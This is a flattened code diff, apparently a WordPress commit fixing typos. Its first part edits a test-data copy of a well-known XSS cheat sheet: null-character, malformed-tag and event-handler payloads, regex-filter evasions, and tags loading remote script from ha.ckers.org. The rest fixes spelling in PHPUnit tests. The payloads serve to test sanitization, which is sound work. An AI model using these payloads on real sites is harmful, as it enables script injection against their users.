Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Multiline w/Carriage Returns + <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > + Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Null Chars 1 + perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out + Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Null Chars 2 + perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out + Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Spaces/Meta Chars + <IMG SRC=" &#14; javascript:alert('XSS');"> + Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Non-Alpha/Non-Digit + <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Non-Alpha/Non-Digit Part 2 + <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> + Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + No Closing Script Tag + <SCRIPT SRC=http://ha.ckers.org/xss.js + In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Protocol resolution in script tags + <SCRIPT SRC=//ha.ckers.org/.j> + This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Half-Open HTML/JavaScript + <IMG SRC="javascript:alert('XSS')" Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: - /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ -As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Double open angle brackets - <IFRAME SRC=http://ha.ckers.org/scriptlet.html < - This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Extraneous Open Brackets - <<SCRIPT>alert("XSS");//<</SCRIPT> - (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Malformed IMG Tags - <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> - Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - No Quotes/Semicolons + /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ +As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Double open angle brackets + <IFRAME SRC=http://ha.ckers.org/scriptlet.html < + This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Extraneous Open Brackets + <<SCRIPT>alert("XSS");//<</SCRIPT> + (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorithm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Malformed IMG Tags + <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> + Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + No Quotes/Semicolons <SCRIPT>a=/XSS/ -alert(a.source)</SCRIPT> - No single quotes or double quotes or semicolons. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Event Handlers List 1 - See Below +alert(a.source)</SCRIPT> + No single quotes or double quotes or semicolons. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Event Handlers List 1 + See Below Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: - + -FSCommand() (execute from within an embedded Flash object) - + -onAbort() (when user aborts the loading of an image) - + -onActivate() (when object is set as the active element) - + -onAfterPrint() (activates after user prints or previews print job) - + -onAfterUpdate() (activates on data object after updating data in the source object) - + -onBeforeActivate() (fires before the object is set as the active element) - + -onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) - + -onBeforeCut() (attacker executes the attack string right before a selection is cut) - + -onBeforeDeactivate() (fires right after the activeElement is changed from the current object) - + -onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) - + -onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) - + -onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) - + -onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) - + -onBegin() (fires immediately when the element's timeline begins) - + -onBlur() (in the case where another popup is loaded and window loses focus) - + -onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) - + -onCellChange() (fires when data changes in the data provider) - + -onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) - + -onClick() (fires when someone clicks on a form) - + -onContextMenu() (user would need to right click on attack area) - + -onControlSelect() (fires when the user is about to make a control selection of the object) - + -onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) - + -onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) - --onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) - + +-onDataAvailable() (user would need to change data in an element, or attacker could perform the same function) + -onDataSetChanged() (fires when the data set exposed by a data source object changes) - + -onDataSetComplete() (fires to indicate that all data is available from the data source object) - + -onDblClick() (fires when user double-clicks a form element or a link) - + -onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) - + -onDrag() (requires that the user drags an object) - + -onDragEnd() (requires that the user drags an object) - + -onDragLeave() (requires that the user drags an object off a valid location) - + -onDragEnter() (requires that the user drags an object into a valid location) - + -onDragOver() (requires that the user drags an object into a valid location) - + -onDragDrop() (user drops an object (e.g. file) onto the browser window) - + -onDrop() (fires when user drops an object (e.g. file) onto the browser window) - - - Browser support: - - - Event Handlers List 2 - See Below + + + Browser support: + + + Event Handlers List 2 + See Below -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) - + -onError() (loading of a document or image causes an error) - + -onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) - + -onFilterChange() (fires when a visual filter completes state change) - + -onFinish() (attacker could create the exploit when marquee is finished looping) - + -onFocus() (attacker executes the attack string when the window gets focus) - + -onFocusIn() (attacker executes the attack string when window gets focus) - + -onFocusOut() (attacker executes the attack string when window loses focus) - + -onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) - + -onKeyDown() (fires when user depresses a key) - + -onKeyPress() (fires when user presses or holds down a key) - + -onKeyUp() (fires when user releases a key) - + -onLayoutComplete() (user would have to print or print preview) - + -onLoad() (attacker executes the attack string after the window loads) - + -onLoseCapture() (can be exploited by the releaseCapture() method) - + -onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) - + -onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) - + -onMouseDown() (the attacker would need to get the user to click on an image) - + -onMouseEnter() (fires when cursor moves over an object or area) - + -onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) - + -onMouseMove() (the attacker would need to get the user to mouse over an image or table) - + -onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) - + -onMouseOver() (fires when cursor moves over an object or area) - + -onMouseUp() (the attacker would need to get the user to click on an image) - + -onMouseWheel() (the attacker would need to get the user to use their mouse wheel) - + -onMove() (user or attacker would move the page) - + -onMoveEnd() (user or attacker would move the page) - + -onMoveStart() (user or attacker would move the page) - + -onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) - + -onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) - + -onPause() (fires on every element that is active when the timeline pauses, including the body element) - + -onProgress() (attacker would use this as a flash movie was loading) - + -onPropertyChange() (user or attacker would need to change an element property) - + -onReadyStateChange() (user or attacker would need to change an element property) - - - Browser support: - - - Event Handlers List 3 - See Below + + + Browser support: + + + Event Handlers List 3 + See Below -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) - + -onReset() (fires when user or attacker resets a form) - + -onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - + -onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - + -onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - + -onResume() (fires on every element that becomes active when the timeline resumes, including the body element) - + -onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) - + -onRowEnter() (user or attacker would need to change a row in a data source) - + -onRowExit() (user or attacker would need to change a row in a data source) - + -onRowsDelete() (user or attacker would need to delete a row in a data source) - + -onRowsInserted() (user or attacker would need to insert a row in a data source) - + -onScroll() (user would need to scroll, or attacker could use the scrollBy() function) - + -onSeek() (fires when the timeline is set to play in any direction other than forward) - + -onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - + -onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - + -onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - + -onStart() (fires at the beginning of each marquee loop) - + -onStop() (user would need to press the stop button or leave the webpage) - + -onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) - + -onSubmit() (requires attacker or user submits a form) - + -onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) - + -onTrackChange() (fires when user or attacker changes track in a playList) - + -onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) - + -onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) - + -seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) - - - Browser support: - - - Evade Regex Filter 1 - <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + + + Browser support: + + + Evade Regex Filter 1 + <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: - /<script[^>]+src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Evade Regex Filter 2 - <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + /<script[^>]+src/i + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Evade Regex Filter 2 + <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - -(this is an important one, because I've seen this regex in the wild) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Evade Regex Filter 3 - <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> + +(this is an important one, because I've seen this regex in the wild) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Evade Regex Filter 3 + <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> Another XSS to evade this regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Evade Regex Filter 4 - <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Evade Regex Filter 4 + <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Yet another XSS to evade the same filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i -The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Evade Regex Filter 5 - <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i +The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Evade Regex Filter 5 + <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> And one last XSS attack (using grave accents) to evade this regex: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Filter Evasion 1 - <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> - This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Filter Evasion 2 - <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Filter Evasion 1 + <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> + This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Filter Evasion 2 + <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] diff --git a/tests/phpunit/includes/abstract-testcase.php b/tests/phpunit/includes/abstract-testcase.php index 5860ddc4363ba..f2978644faf2a 100644 --- a/tests/phpunit/includes/abstract-testcase.php +++ b/tests/phpunit/includes/abstract-testcase.php @@ -1642,7 +1642,7 @@ protected function update_post_modified( $post_id, $date ) { /** * Touches the given file and its directory if it doesn't already exist. * - * This can be used to ensure a file that is implictly relied on in a test exists + * This can be used to ensure a file that is implicitly relied on in a test exists * without it having to be built. * * @param string $file The file name. diff --git a/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php b/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php index adc0a4cc756a9..786e70bdc4b70 100644 --- a/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php +++ b/tests/phpunit/includes/factory/class-wp-unittest-factory-for-thing.php @@ -155,7 +155,7 @@ public function create_many( $count, $args = array(), $generation_definitions = * @param array|null $callbacks Optional. Array with callbacks to apply on the fields. * Default null. * - * @return array|WP_Error Combined array on success. WP_Error when default value is incorrent. + * @return array|WP_Error Combined array on success. WP_Error when default value is incorrect. */ public function generate_args( $args = array(), $generation_definitions = null, &$callbacks = null ) { $callbacks = array(); diff --git a/tests/phpunit/includes/normalize-xml.xsl b/tests/phpunit/includes/normalize-xml.xsl index 135556c61b3cb..cb6f9f6d2a823 100644 --- a/tests/phpunit/includes/normalize-xml.xsl +++ b/tests/phpunit/includes/normalize-xml.xsl @@ -3,7 +3,7 @@ Normalize an XML document to make it easier to compare whether 2 documents will be seen as "equal" to an XML processor. - The normalization is similiar, in spirit, to {@link https://www.w3.org/TR/xml-c14n11/ Canonical XML}, + The normalization is similar, in spirit, to {@link https://www.w3.org/TR/xml-c14n11/ Canonical XML}, but without some aspects of C14N that make the kinds of assertions we need difficult. For example, the following XML documents will be interpreted the same by an XML processor, @@ -23,7 +23,7 @@ > diff --git a/tests/phpunit/includes/testcase-ajax.php b/tests/phpunit/includes/testcase-ajax.php index 0478c10900c37..2e86c29e67284 100644 --- a/tests/phpunit/includes/testcase-ajax.php +++ b/tests/phpunit/includes/testcase-ajax.php @@ -133,7 +133,7 @@ public static function set_up_before_class() { /** * Sets up the test fixture. * - * Overrides wp_die(), pretends to be Ajax, and suppresses E_WARNINGs. + * Overrides wp_die(), pretends to be Ajax, and suppresses warnings. */ public function set_up() { parent::set_up(); @@ -161,7 +161,7 @@ public function tear_down() { $_GET = array(); unset( $GLOBALS['post'] ); unset( $GLOBALS['comment'] ); - remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 ); + remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1 ); remove_action( 'clear_auth_cookie', array( $this, 'logout' ) ); error_reporting( $this->_error_level ); set_current_screen( 'front' ); diff --git a/tests/phpunit/tests/actions.php b/tests/phpunit/tests/actions.php index e25183f75913d..ce4d896015ad6 100644 --- a/tests/phpunit/tests/actions.php +++ b/tests/phpunit/tests/actions.php @@ -613,7 +613,7 @@ public function action_that_manipulates_a_running_hook( $hook_name, $mocks ) { /** * @ticket 17817 * - * This specificaly addresses the concern raised at + * This specifically addresses the concern raised at * https://core.trac.wordpress.org/ticket/17817#comment:52 * * @covers ::remove_filter diff --git a/tests/phpunit/tests/ajax/wpAjaxParseMediaShortcode.php b/tests/phpunit/tests/ajax/wpAjaxParseMediaShortcode.php index 19c7f20449dfb..967c3db202e22 100755 --- a/tests/phpunit/tests/ajax/wpAjaxParseMediaShortcode.php +++ b/tests/phpunit/tests/ajax/wpAjaxParseMediaShortcode.php @@ -42,7 +42,7 @@ public function test_parse_shortcode( array $payload, $expected ) { $_POST = array_merge( array( - 'action' => 'paser-media-shortcode', + 'action' => 'parse-media-shortcode', 'type' => '', ), $payload diff --git a/tests/phpunit/tests/ajax/wpAjaxResponse.php b/tests/phpunit/tests/ajax/wpAjaxResponse.php index 8573dae527fc2..f280ec60ad494 100644 --- a/tests/phpunit/tests/ajax/wpAjaxResponse.php +++ b/tests/phpunit/tests/ajax/wpAjaxResponse.php @@ -21,7 +21,7 @@ class Tests_Ajax_wpAjaxResponse extends WP_UnitTestCase { /** * Set up the test fixture. - * Override wp_die(), pretend to be ajax, and suppres E_WARNINGs + * Override wp_die(), pretend to be ajax, and suppress warnings. */ public function set_up() { parent::set_up(); diff --git a/tests/phpunit/tests/auth.php b/tests/phpunit/tests/auth.php index 162366da9b54b..8fb3a5b8759f6 100644 --- a/tests/phpunit/tests/auth.php +++ b/tests/phpunit/tests/auth.php @@ -149,8 +149,8 @@ public function test_wp_hash_password_trimming() { $password = "pass with new line \n"; $this->assertTrue( wp_check_password( 'pass with new line', wp_hash_password( $password ) ) ); - $password = "pass with vertial tab o_O\x0B"; - $this->assertTrue( wp_check_password( 'pass with vertial tab o_O', wp_hash_password( $password ) ) ); + $password = "pass with vertical tab o_O\x0B"; + $this->assertTrue( wp_check_password( 'pass with vertical tab o_O', wp_hash_password( $password ) ) ); } /** diff --git a/tests/phpunit/tests/blocks/register.php b/tests/phpunit/tests/blocks/register.php index 02920a1c2162c..1dbc688bb16cf 100644 --- a/tests/phpunit/tests/blocks/register.php +++ b/tests/phpunit/tests/blocks/register.php @@ -888,7 +888,7 @@ public function test_block_registers_with_args_override() { DIR_TESTDATA . '/blocks/notice', array( 'name' => 'tests/notice-with-overrides', - 'title' => 'Overriden title', + 'title' => 'Overridden title', 'style' => array( 'tests-notice-style-overridden' ), ) ); @@ -896,7 +896,7 @@ public function test_block_registers_with_args_override() { $this->assertInstanceOf( 'WP_Block_Type', $result, 'The block was not registered' ); $this->assertSame( 2, $result->api_version, 'The API version is incorrect' ); $this->assertSame( 'tests/notice-with-overrides', $result->name, 'The block name was not overridden' ); - $this->assertSame( 'Overriden title', $result->title, 'The block title was not overridden' ); + $this->assertSame( 'Overridden title', $result->title, 'The block title was not overridden' ); $this->assertSameSets( array( 'tests-notice-editor-script' ), $result->editor_script_handles, @@ -937,7 +937,7 @@ public function data_register_block_registers_with_args_override_returns_false_w 'no block.json file and no name argument' => array( 'file' => '', // No block.json file. 'args' => array( - 'title' => 'Overriden title', + 'title' => 'Overridden title', 'style' => array( 'tests-notice-style-overridden' ), ), ), @@ -950,7 +950,7 @@ public function data_register_block_registers_with_args_override_returns_false_w // A file that exists but is empty. This will bypass the file_exists() check. 'file' => DIR_TESTDATA . '/blocks/notice/block.js', 'args' => array( - 'title' => 'Overriden title', + 'title' => 'Overridden title', 'style' => array( 'tests-notice-style-overridden' ), ), ), diff --git a/tests/phpunit/tests/blocks/supportedStyles.php b/tests/phpunit/tests/blocks/supportedStyles.php index 95c5326b4542f..dcd029ad274b9 100644 --- a/tests/phpunit/tests/blocks/supportedStyles.php +++ b/tests/phpunit/tests/blocks/supportedStyles.php @@ -169,7 +169,7 @@ public function test_named_color_support() { 'attrs' => array( 'textColor' => 'red', 'backgroundColor' => 'black', - // The following should not be applied (subcatagories of color support). + // The following should not be applied (subcategories of color support). 'gradient' => 'some-gradient', ), 'innerBlock' => array(), @@ -203,7 +203,7 @@ public function test_custom_color_support() { 'color' => array( 'text' => '#000', 'background' => '#fff', - // The following should not be applied (subcatagories of color support). + // The following should not be applied (subcategories of color support). 'gradient' => 'some-gradient', 'style' => array( 'color' => array( 'link' => '#fff' ) ), ), diff --git a/tests/phpunit/tests/blocks/wpBlockType.php b/tests/phpunit/tests/blocks/wpBlockType.php index b826faf575946..a73efa8ce8a7d 100644 --- 